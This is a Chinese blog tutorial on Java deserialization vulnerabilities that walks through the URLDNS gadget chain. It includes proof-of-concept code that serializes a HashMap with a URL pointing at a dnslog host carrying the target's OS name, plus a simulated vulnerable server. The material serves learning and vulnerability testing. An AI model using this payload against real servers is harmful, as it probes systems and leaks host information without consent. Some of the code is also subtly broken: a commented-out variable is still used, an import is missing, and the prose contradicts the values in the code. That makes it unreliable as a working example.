0x01 序列化概念
序列化是指将一个对象转换为一个字节序列(包含对象的数据
、对象的类型
和对象中存储的属性
等信息),以便在网络上传输或保存到文件中,或者在程序之间传递。在 Java 中,序列化通过实现 java.io.Serializable 接口来实现,只有实现了 Serializable接口的对象才能被序列化。
#注意#
- 序列化的是对象而不是类。
- static静态属性不能序列化,because :由于静态变量属于一个类,静态变量只在类加载的时候获取一次内存空间存储在静态区的,所以不要通过对象引用来访问,而应该直接通过类名来访问,否则编译器会发出警告
- Transient瞬态不能被序列化
序列化
(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将从内存中要序列化的数据通过输出流保存在文件中。
(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。
反序列化
是序列化的逆过程,将字节流转换回对象的过程。在反序列化过程中,会开启输入流通道,Java从字节流中的信息重构对象,并将其重新加载到内存中。
#什么是输入输出流: https://javabetter.cn/io/serialize.html#_01%E3%80%81objectoutputstream
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
0x02 为什么会产生反序列化漏洞
引用其他师傅的一句话: 只要服务端反序列化数据,客户端传递类的readObject
中代码会自动执行,基于攻击者在服务器上运行代码的能力。
简单来说:readObject的方法中有被攻击利用的漏洞即代码,服务端拿到这个代进行反序列化自动调用readObject运行危险代码,让攻击者达到利用漏洞的目的
反序列化漏洞是从readObject()开始
反序列化利用可能的几种形式
- 入口类的readObject直接调用危险方法(不常见)
- 入口类参数中包含可控类,该可控类有危险方法,被反序列化时被readObject方法调用(不常见)
- 入口参数中包含可控类,该可控类由调用其他含有危险方法的类,被反序列化时被readObject方法调用(常见)
- 构造函数/静态代码块等类加载时隐式执行
注意
# 利用的前提是利用链里的类是继承Serializable
# 这里的危险方法一般不是指该可控类的方法有危险,而是指该可控类的方法与要利用的危险方法是同名函数且类型相同
0x03 URLDNS链举例说明
前言
需要知识:
- 反射
- 动态代理
这里只需知道反射与动态代理有什么用就行#建议深度学习常见的反序列化漏洞都要用到反射
URLDNS链一般是学习java反序列化漏洞的第一条Gadget Chain利用链因为
- URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
简单来说:java原生类好找,简单好利用
原理
java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL实现了Serializable的接口,它的hashCode在计算时会调用getHostAddress的来解析域名, 从而发出DNS请求
目的
序列化时不请求DNS,反序列化时请求DNS为什么
如何做到呢?
因为序列化便于传输,poc要序列化成文件进行传输而服务端拿到文件需要进行反序列化,攻击者的目的就行让服务端执行代码造成漏洞当然URLDNS链没有太大危害,可以用来获取一些信息如系统版本
要怎样做呢?
hashCode序列化时值不等于-1不进行直接返回hashCode不进行下一步,反序列化时hashCode值等于-1在根据调用链运行,进行DNS请求
分析过程
首先看URLDNS的Gadget Chain:
HashMap.readObject()
-->HashMap.hash(URL)
-->URL.hashCode()的handler.hashCode即URLStreamHandler.hashCode()
-->URLStreamHandler.hashCode()
-->URLStreamHandler.etHostAddress()
-->InetAddress.getByName()
在idea可以看出HashMap与URL都继承了Serializable的接口
可控类的方法与要利用的危险方法是同名函数且类型相同HashMap.readObject的hash的hashCode与与URL的hashCode
测试代码
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
public class UrlDns {
public static void serializable(Object obj) throws Exception {
FileOutputStream fileOut = new FileOutputStream("hashmap.txt");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
public static void unserializable() throws Exception {
FileInputStream filein = new FileInputStream("hashmap.txt");
ObjectInputStream inputStream = new ObjectInputStream(filein);
Object o =inputStream.readObject();
System.out.println(o);
filein.close();
inputStream.close();
}
public static void main(String[] args) throws Exception {
// String osname = System.getProperty("os.name");
// osname = osname.replace(" ","-");//获取当前电脑的版本
HashMap<URL, Integer> hashMap=new HashMap<URL, Integer>();
URL url=new URL("http://"+osname+".82bd0d3b.dnslog.biz");
Date nowTime = new Date();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
// Class<? extends URL> aClass = url.getClass(); //<? extends URL>: Class<?>匹配任意类型的类 extends URL指定是URl类下的子类型
filed.setAccessible(true); // 绕过Java语言权限控制检查的权限,意味着即使字段是private与protected,也可以在其他类中进行访问
filed.set(url, 8888);
hashMap.put(url, 23);
System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
filed.set(url, -1);
serializable(hashMap);
// unserializable();
}
}
代码分析: 测试类名为UrlDns,将序列化与反序列化封装成函数,url对象存储DNS地址,nowTime记录当前时间便于观察是否触发了利用链,filed通过反射获取运行时的URL类的hashCode的方法将其存储,filed.set(url, 0)将url对象的hashCode值设置为0,利用hashMap的put方法去触发hash方法调用的hashCode启动利用链
进行调试
这里打断点调试从put一步步跟进到put和hash这里函数会接收很多参数调试很慢,观察Gadget Chain有一个类似递归回溯的过程如果我在hashCode这里打断点进行step out 步出函数会进行向前回溯且key是URL对象
Ctrl+鼠标左键进入hashMap.put
进入hash方法
跟进hashCode方法这里的hashCode为8888是filed对象反射设置的,直接返回hashCode值好达成序列化时不进行DNS请求
在将hashCode设置为-1,达成反序列化时进行DNS请求的目的
本地模拟服务端运行反序列代码
这里的hashmap.txt真实环境中需要你上传
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Date;
public class UrlDns {
public static void unserializable() throws Exception {
FileInputStream filein = new FileInputStream("./hashmap.txt");
ObjectInputStream inputStream = new ObjectInputStream(filein);
Object o =inputStream.readObject();
filein.close();
inputStream.close();
}
public static void main(String[] args) throws Exception {
Date nowTime = new Date();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
unserializable();
}
}
这里是序列化时的结果
接下来进行反序列化
DNS这里用的是https://dnslog.org/ 也可以用burp的DNS
原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/87795.html